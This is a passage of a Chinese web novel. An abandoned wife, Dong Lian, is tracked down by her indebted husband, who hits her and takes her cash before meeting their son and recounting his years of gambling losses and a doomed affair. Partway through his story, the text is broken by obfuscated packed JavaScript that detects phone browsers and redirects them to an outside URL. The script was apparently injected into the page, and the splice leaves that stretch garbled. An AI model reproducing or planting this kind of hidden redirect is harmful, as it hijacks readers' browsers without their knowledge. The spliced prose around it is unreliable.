董莲工作了一天,下班回风光路的路上,在一个车辆川流不息的路口,撞见了蹲在马路边抽烟的陈国平。 当时她的手里拎着超市打折的便宜蔬菜,嘴里小声地哼着曲,抬着脑袋任凭晚风吹拂,难得感受片刻的闲适与自在。 四月天,温度波动较大,下班高峰期,太阳已跃入山后,天空染上难得一见的墨蓝色,裹着薄外套的行人步履匆匆。 有风从东南方向吹过来,一阵一阵的。 当时的陈国平穿着粗制滥造的夹克衫,脚踩一双灰尘遍布、污渍斑斑的小皮鞋,长出来的头发盖住眼睛,被风吹得乱糟糟,嘴边冒出一茬青色的胡须。 看起来有些邋遢。 像是影视剧里有些派头的人物,但风头不比往日。 夫妻俩在一起生活了将近二十年,尽管最近不曾见面联系,陈国平穿得略显潦草、不顾形象。 但董莲仍是一眼认出了他。 董莲看见他,第一反应竟是气恼。 恼他出走的这几年,对母子两人不闻不问,恼他卷走了家里大部分钱,却还将日子过得如此潦草。 恼他不懂照顾自己,短短几年,白发丛生,仿佛瞬间老了十来岁。 当初那样气派风雅的人物,饮茶抿酒,谈笑风生,举手投足间足以令人倾倒,竟也落得街边踢石子、抽劣质烟的下场。 或许是今日的晚风过于凛冽,徐徐一吹,使人鼻尖发酸,眼眶中冻出晶莹的泪珠。 董莲这几年的委屈,在见到陈国平的刹那,仿佛洪水终于找到出口,即刻决堤而出。 总归是心软了。 然而这份心软,仅仅持续了两分钟。 董莲站在马路对面,静静地凝望着他。 随着那根烟抽到低,她柔和的脸上继而浮现出愤懑的情绪。 那些无依无靠、苟且偷生的日子里,是她咬紧牙关帮他收拾烂摊子。 陈国平从事发起便找地方躲了起来,电话关机,短信也不回复,还是那些债主找上门,董莲才知道工程出事了。 她对工程之事知之甚少,陈国平平日里不让她接触。结果到了最后关头,还得董莲对着账本核对款项、资金流水。 家里的房车、股票、基金、金银首饰,所有固定资产和投资,能变卖的全部都变卖了。然而那些账单就跟无底洞似的,拿到手的钱怎么也没法填满。 偏偏债主日日来催,夜夜来讨,更有甚者,提了两桶红漆往门口的墙上泼。他们提笔,写了大大的几个字—— 欠债还钱! 不是她不想还,实在是有心无力。 望着长长一摞欠款名单,董莲焦头烂额,有一段时间心情低落,甚至想过爬上高楼一跃而下,死了一了百了。 可她不能。 她还有个儿子。 她的儿子,自小聪明、懂事、优秀,很少让她操心,照着原本的成长轨迹,他本该拥有一个光明美好的未来。 如果她撒手而去,陈国平那个软蛋依旧躲在一旁,对儿子不管不顾,那陈历怎么办? 董莲赌不起。 从成为母亲那天起,孩子便成了她唯一的软肋。 董莲放心不下陈历,纵使崩溃压抑,仍然选择承担责任。她对着债主发誓,一个个下跪乞求,乞求他们宽限些时日。 他们先前在外承包的工程还有些钱没有及时收回,她已经打电话去催了,等汇款到账,她一定会优先偿还债务。 看在董莲态度诚恳的份上,那些债主总算放弃去陈历学校大门口堵人的想法。 日子一天一天过去,董莲受尽白眼,吃尽苦头,总算将那些无底洞填得七七八八。 处理完陈国平留下的烂摊子,董莲带着陈历离开老家住进了风光路。 母子两人决心从零开始,一点点打拼、积攒,总算把日子越过越好。目前她工作稳定,陈历学习优异,一切都朝着幸福美满的方向奔去。 这次无论陈国平找上门来是忏悔,乞求他们原谅,抑或是向他们索要钱财,董莲都不会妥协。 风光路是她和儿子最后的退路,避风的港湾,她绝不能让陈国平再毁了它。 董莲瞪着他,眼睛里有一座即将溃堤的大坝,被她用身躯抵住了。 风沙迷人眼,异物感令人感到不适,董莲伸手揉搓了两下,最后看了陈国平一眼,下定决心转身离开。 就在此时,陈国平掀了一把挡住眼睛的刘海,神情懒散地朝外吐了一口烟,眼神无意识地左右转动,捕捉到隔了一条马路的人影。 眼神顿住,两秒后,他缓缓抬起头。 夫妻二人隔着来往的车辆、人群,沉默地对视了整整两分钟。 常言道“一日夫妻百日恩,百日夫妻似海深”,在他们对视的片刻,时间相对静止了。 或许随着眼前尘土扬起的,除了分开前的愤恨,也夹杂着一丝往日的甜蜜。 董莲眼中依旧有泪。 与之不同的,是陈国平那双墨黑的眼睛,沉寂、无光,有太多沮丧、不满。 偏偏这双终日黯淡的眼睛,在看见董莲的那刻,犹如恶犬扑食般,冒出亮晶晶的光芒。 “阿莲,是你吗阿莲?” 陈国平激动的情绪开始翻涌,手里头的烟燃尽了也未发觉,直到手指被烫得瑟缩了下,才撇开那支烟。 “是我啊,陈国平,你老公陈国平!” 陈国平扯着粗粝的嗓子喊她,“老公”二字成了刺破沉默氛围的尖针。董莲眉头紧锁,下意识往后退了一步。 陈国平不欲多话,看准街道两侧暂时没车通行,二话不说追了过来。 董莲呼吸一滞,见状转身就跑,惹不起还躲不起吗? 常言道“善恶看嘴眼,贫富看手脚”,从董莲见到陈国平的第一眼,就发现他始终耷拉着嘴角,蹲在马路边看来往行人,眼神躲躲闪闪。 他的面相,似乎有些改变。从温润儒雅变成刻薄不端。 董莲大致能猜到他这几年在外过得并不怎么样,或许是手里缺钱了,想要找他们要钱。 那更不能被他抓住了! 董莲一鼓作气,快走加慢跑,愣是憋着气绕过了三四条街。 风光路的小巷子多,甩开一个不熟悉地形的人简直轻而易举。 董莲拐了两三个弯,拼命地往前跑了一段路,耳边尽是呼啦啦的风声。 风里卷来昔日那些不堪入耳的讨债声,“哐哐哐”的猛砸门,门外是声泪俱下的控诉,也有无可奈何的乞求,更多的人叉腰破口大骂,那些污秽言语和警告威胁与她隔着一扇门,随着此起彼伏的撞门声,全都“咚咚咚”地落在了她的心里。 跑到最后,已经累得气喘吁吁,董莲依旧不停提醒自己—— 往前跑,不要停!不要停! 跑得足够远了,远到背后再听不见陈国平的呼喊,董莲回望身后,长长的、窄窄的巷子空无一人。 她终于慢下脚步。 年纪上来之后,稍有点剧烈运动都要喘个半天,她的身体素质一般,跑了几百米便开始喘粗气。 尽管看不见陈国平的人影了,董莲仍旧不敢掉以轻心。 她等心跳逐渐平稳,又往前走了百来米,最终停在一根电线杆面前,缓缓地蹲下身。 - 偶遇过后,董莲不敢掉以轻心。 当晚,她怕陈国平锲而不舍地等在风光路,索性绕道去了隔了两条街的面馆,点了一碗青菜鸡蛋面,坐在店里慢腾腾地吃。 到了晚上九点,她才小心翼翼回到风光路,楼下已经没有他的身影。 接下来几天,董莲早出晚归,出门时东张西望,蹑手蹑脚,生怕陈国平就从哪个阴暗的角落里窜了出来。 恰好最近几天同事家中有事,请假后需要有人顶班,她表现得格外积极。老板夸她工作积极,董莲听得有些难为情。 她有自己的私心。 陈国平消失几年后突然冒了出来,绝不可能是良心发现,准备回归家庭。 董莲猜想极可能是他手里头的积蓄花个精光,来找母子俩要钱,又或者在外面闯了祸,需要寻个地方避避风头。 董莲留了个心眼,私底下给老家的亲戚拨过两个电话,问他们最近有没有陈国平的消息,答案一致—— 没有。 陈国平没回过老家,又从何得知她目前的住处? 中间应该有人撒谎。 怕来者不善,董莲不得不选择低调。 期间想过打电话告知陈历,但想到陈历最近在忙比赛,实在辛苦,便想着暂时先不告诉他,毕竟也可能是她杞人忧天。 然而这回,她低估了陈国平的耐心。 一周后的某日清晨,董莲在家吃过早餐,在阳台往楼下张望了几分钟,没有见到可疑的身影,才挎包从家里出来。 她走得尤为谨慎小心,却在路过小卖部时撞见了从里面出来的陈国平。 他刚在小卖部买完一包烟,手里攥着店老板找回来的皱巴巴的纸币,叼着烟,踏出门,两个人迎面相撞。 这回,董莲没能顺利跑掉。 对视的那一眼,陈国平果断将零钱塞进裤兜,眼疾手快地捉住董莲的手腕,不由分说地将她拖进一旁的巷子里。 此时此刻,董莲对他的惧怕如火焰“噌”地冒了出来。然而她的身后是一堵高墙,左右两侧都是房子,她被塞进长长的小巷里,逃无可逃。 董莲认命般呼出一口气,转回脑袋,面前的人影盖了过来。 陈国平见她防备,嗤笑后掏出打火机,不紧不慢地将嘴里含着的那支烟点燃了。 夫妻几年不见,两人明显生疏不少。陈国平本想寒暄几句再与她说正事,然而董莲对他怒目而视,心中的愤懑丝毫不减。 一副视死如归又嫉恶如仇的模样。 烟抽了半根,陈国平懒得与她再客套,索性开门见山、直奔主题。 “你手里还有多少钱?” 董莲避开他的视线,冷着脸一言不发。 “当初家里的房车都被你变卖了,钱现在都在你手里吧。” 他好意思提?董莲情不自禁地翻了个白眼。 当初那些家产变卖之后便拿去帮他偿还债务,然而缺口太大,这些钱远远不够,催债 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上回偶遇,她居然心软,埋怨他没有照顾好自己,埋怨他把日子过得潦草。 多可笑。 今儿这天就该降一道雷,活活劈开他,好叫她看一看他的良心,是否被狗吃了。 两方僵持不下,陈国平加重了手上的力道。 “上次看到我,跑什么?” “我可是你老公啊,董莲,几年不见,不认识我了?” “我再问你一遍,钱呢?钱都在哪里?” 他的手在一寸寸收紧,言语冷漠狠厉,全然没了当年的幽默风雅。 董莲眼皮轻颤。 时间一分一秒流逝,眼见董莲呼吸困难,额头两侧青筋暴起,她仍然不肯告知手机密码,陈国平怒火中烧,干脆利落地反手给了她一巴掌。 “啪——” 董莲手无缚鸡之力,近几年工作繁忙,陈历去读大学之后,她没日没夜地干活,加班、顶班,一切能多赚钱的活她都争先恐后,身子骨本就虚弱,陈国平这一巴掌用了全部力气,她被掀倒在地,久久没有缓过神来。 耳鸣声刺激着她的大脑,脸上浮起火辣辣的疼痛感,董莲差点儿要呕出血来。 难得被他蹲到人,不多拿点钱,陈国平自然不甘心就此离去。 他往地上不以为意地啐了一口,紧跟着蹲下身,粗粝的手掌拍了拍董莲的脸颊,舌尖抵了一圈牙关,轻描淡写地问:“儿子呢?” 陈历是董莲的软肋,陈国平心知肚明。 要想撬开董莲的嘴,只能从陈历身上下手。 果不其然,从听到“儿子”一词开始,董莲的情绪有了明显的变化。 仿佛一潭死水开始咕噜冒泡,她“唰”的睁开了眼,恶狠狠瞪着陈国平,一字一句道:“你想干嘛?” “还能干嘛?”陈国平双手无赖地往前一摊,“老子几年没见小子,想他了,想见一面都不行?” “老子养他到这么大,见他天经地义。” 呸。 董莲翻了个白眼,因生气而咬牙切齿,情绪激动,胸口也跟着剧烈起伏着。 “你休想!” 她恨得牙痒痒,全身止不住颤抖,肩膀耸动的幅度最大。眼睛瞪得大大的,不知因为委屈还是愤恨,眼眶变得红通通。 董莲胡乱抹了一把脸,朝陈国平厌恶地刮了一眼。 “当年你欠债,把家里的钱全部卷走,留下一屁股烂账给我们母子二人,要债的天天上门,甚至跑到阿历学校的大门口堵他,这些人将我们的日子搅和得鸡犬不宁,那时候作为父亲的你在哪里快活?” “现在我们好不容易还清债务,过了几天清静日子,你却又腆着一张脸凑过来,怎么,在外面混不下去了?” “陈国平,人不能什么好事都想占着。” “我董莲今天把话放这儿,儿子你别想见!要钱没有,要命一条,你看着办吧。” 说罢,董莲手掌撑着身后的墙面,哆哆嗦嗦地从地上爬了起来,刚才摔得有些狠,膝盖和小腿处隐隐传来刺痛,因而双脚有些无力、发颤。 然而脸皮已经撕破,她没有退路。 陈国平听罢,冷冷地剃了她一眼,似乎并不将董莲的话放在眼里。他嗤笑道:“我陈家的子孙,轮不到你干涉。” “我见不见他,什么时候见他,你休管。” “董莲,你这几年都在干什么?” “这笔钱,都不够我塞牙缝啊。” 他从董莲的包里抽走所有现金,眼角眉梢带有几分不屑,他随意地用食指弹了弹,纸币在空中发出清脆的撞击声响,继而把钱卷了卷,塞进上衣口袋。 拿完钱,陈国平转身即走。 他走了。 转身时毫不留恋,身上依旧罩着那件夹克外套,灰扑扑的,衣角褶皱得不成样子。 董莲仰头,闭上眼。 耳边回响起陈国平离开前的警告,他说一日不见到儿子,他就一日不离开。 命运的不公和不堪,在这一刻狠狠钳住她的肩膀,让她难以喘气。 明明今天是个明媚的艳阳天,她怎么有一种前路危险、未来渺茫的无力感? 命运,都是命运啊。 - 陈国平发现董莲的住处后,得寸进尺张罗着要住进来,然而董莲最近完全见不到人影,他只得继续蹲守。 蹲守的次数多、时间久,陈国平终于引来邻居的警惕。 有人胆子大,不怕他是亡命天涯、穷凶极恶的歹徒,上前同他搭过话,问他成天蹲守在居民楼下所为何事。 陈国平眼神不善,不多透露,反倒向邻居们打听起董莲的事情。 董莲前几年刚搬来风光路,人善、好相处,儿子又考了个重点大学,邻居们对他们母子两人高看一眼,照顾有加。 之前她刚搬来时就遭过歹徒抢劫,大家怕眼前的男子知道董莲目前一人独居,会上门行不轨之事,纷纷摇头说“不认识”。 大家私下里闲聊,都在传董莲大概是被这个中年男人缠上了,对方看她一个人生活,觉得她好欺负,所以…… 这些话,最终都传到了陈历的耳朵里。 陈历住在风光路时,没少帮过邻居们的忙。 搬运东西搭把手、帮忙辅导孩子作业……他勤快能干又热心温和,颇受长辈们喜欢。 他去读大学前,拜托过邻居们帮忙照顾董莲,现在董莲身边出现了个陌生的男人,他们当然第一时间通风报信。 陈历听到这些消息,率先给董莲拨了电话。 直接询问恐怕得不到有效信息,董莲总是怕他操心,有难也瞒着不说。于是他迂回婉转地说最近功课不忙,想回家一趟,尝尝董莲烧的菜。 如果平时,董莲肯定喜笑颜开,问他都想吃些什么,她好提前备菜。然而这次,董莲却一脸为难,支支吾吾不太想他回家。 陈历立马察觉到不对劲,问董莲是不是不方便。 董莲笑得有些僵硬:“怎么会不方便,你想吃妈妈做的菜了,妈妈高兴还来不及。” 她沉默地盯着屏幕里的陈历看了许久,还是将那些未出口的话咽回了肚子里。 陈历看穿她的伪装,轻声安抚她:“没事的。” “我马上就回家。” “妈,你不用怕。” 33. 第三十三章 33 陈历在拨出电话前,早已经买好车票。 挂断电话,他向老师请好假,拎着行李马不停蹄往家里赶,终于在四月的末端,风光路的居民楼下,见到了那个消失已久的父亲。 他对陈国平的记忆都有些模糊了,路灯下那抹佝偻的背影,令他有些晃神。 “爸?” 陈历不可置信地喊出这一声,声音很轻,若听得仔细些,能察觉到他的声音微微发颤。 闻声,陈国平身形一顿。 现在正是饭点,居民楼灯火通明,不时有饭菜的香味从屋子里溢出来,他在楼下久站,脚酸,肚子也饿得咕噜叫了两声。 他愣在原地,花了几秒钟思考自己是不是饿出幻听了。 上次从董莲手里抢来的现金,早就被他挥霍完了。目前他独自一人租房生活,没有收入来源,两个裤兜一掏,比脸还干净。 当年董莲自作主张变卖家产、偿还债务,害得他无处可去。陈国平本以为董莲拿了那些钱,换个地方生活,应该过得风生水起。谁知再见面,她居然跟他装穷,视他如洪水猛兽,一分都舍不得从嘴里吐出来。 陈国平缺钱花,又不愿吃工作的苦,想着这回蹲到董莲,得从她那儿狠狠敲一笔。 谁知,没等到董莲,却等来了他的宝贝儿子——陈历。 陈国平愣了数秒后,僵硬地回过头。 见到陈历,他脸上的表情变换不停,好似一张张五颜六色的脸谱从他粗糙的脸上滑过。从惊喜雀跃到欣赏欣慰,他慢腾腾地迎上前,最后嘴角一瘪,硬生生挤出了两滴眼泪。 他宽厚粗粝的手掌一把握住陈历的胳膊,声泪俱下。 “阿历啊,是我的阿历吗?让爸爸好好看看你,我的好儿子!嗯,长得比爸爸还高了,都高出我半个头了!” “看着怎么比以前瘦了点,这几年过得怎么样?有没有想爸爸?爸爸好想你……” 陈国平见到陈历,就跟见到救命稻草似的,本想好好诉苦一番,争取获得陈历的同情,从而达到搬进他们目前居住地址的目的。 毕竟当年发生的那些事,他基本都对陈历隐瞒了。 父子温情不过片刻,陈历挣脱开他的手。 “爸。” 陈历截断了他的话,不着痕迹地往后退一步,居高临下地看着他。 陈历淡漠的反应令陈国平始料未及,刚挤出的两滴泪就这么尴尬地挂在眼角。他沉默着上上下下打量陈历,猜想他应该是还在怪他。 今时不比往日,陈国平压下内心腾起的怒意。 眼珠子提溜一转,陈国平清了清嗓,摇头叹气:“阿历啊,爸爸知道你对我心里有恨。但当年那事,我是有苦衷的啊!” “你是不是听别人在外面胡说八道,误会爸爸了?” “那笔债务实在太过庞大,我若是无法及时还清,他们就要抓我剁手、割鼻子割耳朵。我不能不逃啊……” “所以,这就是你抛下我和妈妈的理由?” 陈历面无表情地斜过来一眼。 当年陈国平推脱责任,坚持不肯变卖家产还债,被人堵了几次之后一走了之,把巨额债务丢给董莲和他。 他走的时候根本没考虑过他们母子两人会面对怎样的狂风暴雨,如今债务还得差不多,他却跑回来喊一句“冤枉”就想坐收渔翁之利,实在可恶。 陈国平的辩解苍白而无力,陈历听后,眼神里非但没有心疼,反而跟着一声质问,多了几分失望。 “冤有头债有主,他们只想要钱,不会对你们怎么样的。但我不同!我是工程项目签字盖章的负责人,如果我不给他们一个交待,他们就会……” “这帮人穷凶恶极,什么事干不出来!” “当时我只是想出去避避风头,等风头过了就回来找你们,可是,可是你妈居然把家里的房子车子都变卖了拿去抵债,她……唉。” 说到此处,陈国平的音量稍稍抬高,很铁不成高道:“你妈她糊涂,这笔账目那么大,还不清的,还不如……” 他的意思很明了。 从始至终他都没想承担责任,哪怕后来董莲变卖了家中所有值钱的物件,他也只想携着那笔钱找个地方躲起来。 他自私、怯懦,从来没有考虑过他的家庭和孩子。 做了违法事件,成为失信人员,不仅限制出行,还可能影响陈历未来的职业规划。 陈历冷笑,望着他不发一言。 陈国平年近五十,在社会上摸爬滚打,大大小小的风浪都经历过,早就是人精了。然而今晚,当他直视陈历那道幽暗的目光,居然感到发怵。 他第一次意识到,当年那个追在他身后喊“爸爸”的小子长大了,成熟了。 四目相对,僵持不下。 半晌后,陈国平避开陈历审视的目光,息事宁人道:“都过去了,过去了。” “阿历,你现在和妈妈住在哪里?要不要带爸爸过去坐坐。”陈国平说话的语气越来越软,开始打亲情牌,“这么晚回来,吃饭了吗?肚子饿不饿?爸爸回家给你露一手,青椒炒鸡还是蒜香排骨,你以前最喜欢吃我做的这两道菜。” 可那是以前。 陈历摇摇头,平淡地说了一句:“不回家,我带你下馆子。” 语气并不强硬,然而他眼神坚定,俨然一副不容置喙的模样。 董莲这几日明显在躲他,若是连陈历也抗拒他,那他万万没有回家的可能。为了不引起陈历的反感,这事只能循序渐进,从长计议。 于是,陈国平收回了眼尾的泪,连连点头:“好。” 陈历带陈国平去了风光路西侧的一家馆子,离家步行十几分钟的路程,当初他做暑假兼职,老板下馆子经常带上他,一来二去他也成了那家店的熟人。 路上,父子两并肩而行,有几个邻居撞见,纷纷投来疑惑的眼神。 “阿历,你今天怎么回家了?学校放假?” “没有。请假回来拿点资料。” “哦哦,这位是……?”邻居将信将疑地点了点头,目光从陈历身上转向陈国平。 “我是他爸。” 不等陈历开口,陈国平快速接话,他满面笑容,昂着头挺起胸膛,显然是为他有这么个能力出众、一表人才的儿子而骄傲。 但更多的,是自以为是。他话里想表达的意思,无非是—— 这么优秀的男生,是他的儿子,是他的种,带着他的优秀基因。陈历,是他的所有物,是他出门在外,可以逢人侃侃而谈、分量极重的谈资。 陈历一眼瞧出陈国平的虚荣心,垂下眼嗤笑一声。 - 他们一前一后走进馆子,坐到位置上,陈历熟稔地点了几道菜,都是这家店的招牌。 点完菜,他问陈国平要不要喝水。 陈历记忆力还算不错,他记得陈国平几年前体检,血糖已经超出正常范围,按理应该少喝饮料。 “喝什么水啊!” 陈国平今晚见到陈历,情绪明显激动兴奋,眼角眉梢挂着笑,说话的音量也抬高不少。 “咱们父子俩这么多年没见,今天好不容易见到,当然是要喝酒!” “还要喝得尽兴,不醉不归!” 最好两个人都喝得不省人事,让董莲来接他回家。 陈国平心里那点小算盘打得噼里啪啦,说话间,他向服务员要了几瓶啤酒,不等服务员拿来开瓶器,对着桌角“咚咚咚”,连着撬开了三瓶酒瓶盖子。 他先给陈历倒了一杯,然后才把自己面前的杯子满上。 “来,这第一杯是爸爸敬你的,恭喜你考上理想的大学。” “将来你找到好工作赚了大钱,可千万不要忘记爸爸从小到大对你的付出!” 说完,举起杯子在半空中示意了下,仰头一饮而尽。喝完了,嘴角挂几滴液体,陈国平百感交集,思绪万千。 “这几年爸爸没在你们身边,难为你和妈妈两个人。不过现在好了,爸爸回来了,我们一家子又可以在一起生活,我会继续给你做喜欢吃的菜,跟你一起去打球,我们……” 陈国平不停抒发他美好的畅想,陈历出声打断他。 “爸,上菜了,先吃饭。” 陈历看向他的眼神很平静,全然没有久别重逢后的激动。 他给陈国平递了一双筷子,神情淡漠疏离。 陈国平不得不闭嘴,因心绪澎湃而举在半空的手怯怯缩回。 桌面摆了五道菜,其中有一盘花生米,又香又酥脆,是绝佳的下酒菜。陈国平用筷子夹着尝了几粒,忍不住竖起大拇指。 没吃几口菜,他先就着花生米喝了两瓶酒。 喝过酒后,脸颊泛红,中年男人因酒精而腾起万千感慨,划拉了两口米饭,开始边夹菜边诉说这几年在外的遭遇。 - 当年事发,陈国平没有第一时间往外跑,而是躲到了离家两公里的旅馆。 手机始终关机,因为一开机就会被那些催债的电话打爆,他本想等讨债人都消停点了,再联系董莲变卖家里的房车,转走陈历的学籍,一家人到外面过日子。 然而还不等他实施自己的想法,人先被抓个正着。 那天他在旅馆待得没劲,下楼买烟,撞见当时手下的三个工人蹲在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405686|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马路牙子上啃馒头,尽管当时他头戴帽子,嘴上套了口罩,全副武装出门,仍是被工人一眼认出。 他们看见他,双眼冒光,仿佛前来索命的恶鬼,丢掉馒头直起身,追着他连跑三条街。 陈国平跑得气喘吁吁,不时回头查看,发现那帮人遇上红灯也不管不顾地闯过来,就跟不要命似的。 好在陈国平打小在这片区长大,对路况极其熟悉,领着他们拐过两条路口,终于把他们甩在身后。 这次事件之后,工友们天天在偶遇他的旅馆附近转悠,他们叫来更多帮手,十几个人轮流候着,手里拎着家伙什,精神抖擞。 陈国平意识到他再不离开,被抓到恐怕得活活剥下一层皮。 于是他连夜收拾行李,买了火车票,躲去外省。 人近中年,突然换一个地方生活,气候环境不同,饮食习惯不同,自然感到不适应。 不过陈国平最开始手头有点小钱,租了个大房子,每天吃吃喝喝,过得倒也不拮据。 陈国平去的小镇不如家乡繁华,人均GDP更是比不得省内。鱼龙混杂的地方,突然冒出个挥钱如粪土的人,自然引起了无数人注意。 存了坏心思的人主动找上前来,同他攀谈,与他称兄道弟,带他去洗脚城按摩、到夜总会唱歌,最后带他去了赌场。 起先大家玩得并不大,赢赢输输都有,待他上头之后,那些人便带他去了更高级豪华的赌场。陈国平到底是干工程的,交往过形形色色的人,这些人上来就对他热情、豪爽,令他隐隐约约感到不对劲。 他想过逃跑,但被人押回了赌桌上。 人在他乡,举目无亲,当十几双凶狠的眼睛对着他,他当真是叫天天不灵,叫地地不应。 果不其然,在那张为他而设的赌桌上,陈国平将之前赢的钱全部吐了出去,不仅如此,还搭上了随身携带的一块腕表。 这块腕表是当年家里还阔绰时,董莲出国旅游买给他的生日礼物,折合人民币五万八。 他本来想着等将来实在走投无路了,再将腕表出掉,卖个好价钱,至少能够帮他撑一撑目前难捱的日子。 谁知遇上了这个专门给他挖的陷阱。 人言吃一堑长一智,谁知陈国平却不服气,明明都被放出来了,还跑回赌场闹事,嚷嚷着要报警把他们都抓了去。 这还了得? 赌场的负责人听了,立马叫了几位打手将他拖去赌场旁的小巷子里,将他揍得鼻青脸肿不说,顺手还把他随身携带的零钱都掏个精光。 陈国平被打得瘫倒在地,蜷缩着身子,双臂不停地抖动。 他仰着头,对领头人怒目而视,表情明显不服气。 这一眼,直接收获领头人的巴掌。“啪啪”两声,清脆响亮。 陈国平被扇得眼冒金星,脑子一片空白,还没等他开骂,领头人朝他啐了一口,猖狂、不屑的笑声在巷子里久久回荡。 陈国平被打得惨不忍睹,不敢去医院就医,他怕医生护士报警。 现在警察办案都是联网的,他欠了那么大一笔钱,估计一露面就会被逮。 他只能到附近药店买点药,凑活着在租的房子里睡了大半个月。 身子还没完全修养好,老家那边传来消息,说是董莲把家里的固定资产和一些金银首饰全部变卖了拿去抵账,那些闹事的人才渐渐消停,不再整日整夜地蹲守在家门口。 董莲卖完房子没多久,就带陈历离开了家。他们叫了一辆小型货车,把家里所剩无几的家具、电器都带走了。 他们具体去了哪里,大家都不知道。只知道是董莲那边的远房亲戚,可怜母子两人无处可去,给他们腾了房子。那远房亲戚早年出国做生意,赚得盆满钵满,如今已经全家定居在外面,老家空着也是空着,索性让他们住进来。 这些年陈国平做工程,资产收入加起来,千万有余,过惯了好日子一夜之间突然返贫,人的心理落差太大。 他听完消息,全身莫名泄了气。 回去面对一贫如洗的家庭,重新奋斗,从头再来,实在没有意思。 反正董莲和陈历已经寻到去处,他没了后顾之忧,索性彻底放弃回家的念头,在外省安顿下来。 床上躺了两三个月,陈国平眼瞧着钱包越来越瘪,于是在租的小区附近找了个卸货的工作,工资不多,好在能养活自己。 说到此处,陈国平的声音渐渐矮了下去,他似乎在回忆,筷子不停地夹着面前的菜。 他自然知道接下来发生的事情,万万不能让陈历知晓。 事情发生在他离开家的第二年,全国迎来难得一见的寒冬。 34. 第三十四章 34 那年,是个寒冬。 白天的温度罕见地降至零下,所有人都期待着一场大雪,结果盼了一天,都没等来雪。正当大家意兴阑珊,败兴而归时,深夜的天空却忽然下起鹅毛大雪。 陈国平在那张冰冷的床上翻来覆去,左右睡不着,于是披了件外套,到家附近的烧烤摊喝酒。 正是这次出门,让他结识了那位刚从不夜城下班的洗脚妹。 洗脚妹没有一个正经名字,她身边的同事都叫她——小花。 小花年纪不大,三十左右的样子,家在遍地黄沙的大西北一个落后、贫穷的农村。 高中辍学,仅仅因为村里人一句“一个女孩子,书读那么好做什么?将来还不是要嫁人生孩子”。 二十出头,她就被父母嫁给了隔壁村的一个男人。那男人身无长处,邋遢、不讲卫生,脾气也不好,喝醉了酒就爱打人。 她逃过两次,每次回家求救都会被父母送回去,于是她又会挨上一顿更毒的打。 几次三番,小花累了。 她不再逃,而是开始偷偷攒钱。 大西北不缺劳动力,因此她能干的活不多,每月只能零碎的攒一点点。等她攒到足够逃离婆家的钱,已是两年后。 然而那时,她被查出怀孕了。 怀孕了的小花被视作累赘,整个孕期反复孕吐,没了工作,在家里也帮不上什么忙。 男人无法在她身上泄愤,便去外面偷吃。 偷吃也不知道藏好,被出门购买婴儿奶瓶的小花撞个正着,她气得上前要说法,没留神脚边的香蕉皮,不小心摔个四脚朝天,鲜红的血液从她下半身哗啦啦往外流。 送到医院捡回一条命,孩子却没保住。 男人不但不心疼,反倒怪她孕期乱跑,一个孩子都留不住,没用。 出轨背叛,流产住院,在小花身心都最脆弱的时候,周遭只有责怪和谩骂的声音,就连她的父母,都劝她息事宁人。 小花心神俱疲。 她哭不出来,眼泪全咽回了肚子里。 流产后,男人主动把她送回家,让她的父母照顾,她这才得以在家休息整整一个月。 待身体精力恢复了七八成,她买了一张东行的车票,瞒着家人从那个村落逃了出来。 她要离开这片土地,彻彻底底地从那个男人的巴掌里飞出来。 小花一路东行,一路求职,然而她文凭不高,但凡好点的连锁公司,都因学历原因拒绝了她。 人想活着就得吃饭,要吃饭就需要钱。 大城市藏龙卧虎,小花不过是只最渺小的蝼蚁,没有傍身之技,她只能在小餐馆做服务员谋求生活。 直到后来,小花经人介绍来到不夜城。 ——一家对外宣称正规营业的按摩店,项目包括洗脚、采耳、护肤等。 金碧辉煌的大楼,锃亮的大理石地面,都照映出她生涩、无知的脸庞。 不过这张脸并非没有可取之处,至少,她年轻漂亮。小花长着一双让男人见了心生怜悯的大眼睛,闭嘴不言时最楚楚可怜。 大堂经理见她第一眼便决定留下她,并给了她一份按摩的工作。 这份工作,有些出乎她的意料。 它不仅仅需要按摩客户的肩膀、腰背,有时候甚至需要进行一些擦边服务。 小花刚开始并不适应,每次从房间出来都红了眼眶,低着头贴着墙面走。但几次过后,她便从容接受了。 人在屋檐下,不得不低头。 毕竟,不是这份工作需要她,而是她需要这份工作。 小花并不抗拒那些男人的手在她身上抚摸、流连,比起所谓“老公”的巴掌和拳打脚踢,她宁愿周旋于不同男人之间。 他们是她的客户,服务他们至少能让她拿到了一笔不错的工资。 至少,她不用每天面对黄土,以泪洗面。 - 一位无依无靠、漂流在外的女人,遇见一位孤独寂寞的男人,无疑天雷勾地火。 烧烤摊前,陈国平请她吃了几串烤肉,跟她碰了几次杯,他们就这么轻而易举地厮混到了一起。 这个寒冷的冬天,他们决定彼此取暖,结伴共度。 陈国平和小花相差十几岁,共同语言不多,偏偏在生活上挺契合。 小花从不过问他的往事,毕竟他年近五十,在他们那个小村庄,甚至都是可以当爷爷的年龄。孤身在外漂泊的人,谁没几个故事? 小花心知肚明,所以,她不问。 当然,小花也不太情愿讲述她的过往,两个人起初客套、礼貌地对待彼此。 直到某个夏夜,他们没有夜班,吃过晚饭后去附近的小公园散步,恍若一对恩爱夫妻。 走着走着,小花突然流下眼泪,蹲下身抱着双臂哭泣。 那夜,他们买了几瓶酒,走到一条宽敞清澈的溪流边,对着天幕那轮明月干了两瓶酒,慢慢倾诉衷肠。 陈国平终于知道小花身上的故事。 年过半百的他,早练就了一颗坚硬心肠,极少有故事能够打动他。可他这回,非但没有看低小花,反倒起了怜惜之情。 那夜之后,他们之间的关系更加确定、稳固。 小花为了他辞去不夜城的工作,找了个商场销售的工作,工资虽然不比从前,不过两人抱团取暖,好过一人苦苦挣扎。 偏偏天不遂人愿,小花在去年年中查出癌症,晚期。 吃不下饭,走不动路,身体渐渐消瘦,神智也变得不清,陈国平散尽家财眼睁睁看着她的生命从面前消逝,却别无他法。 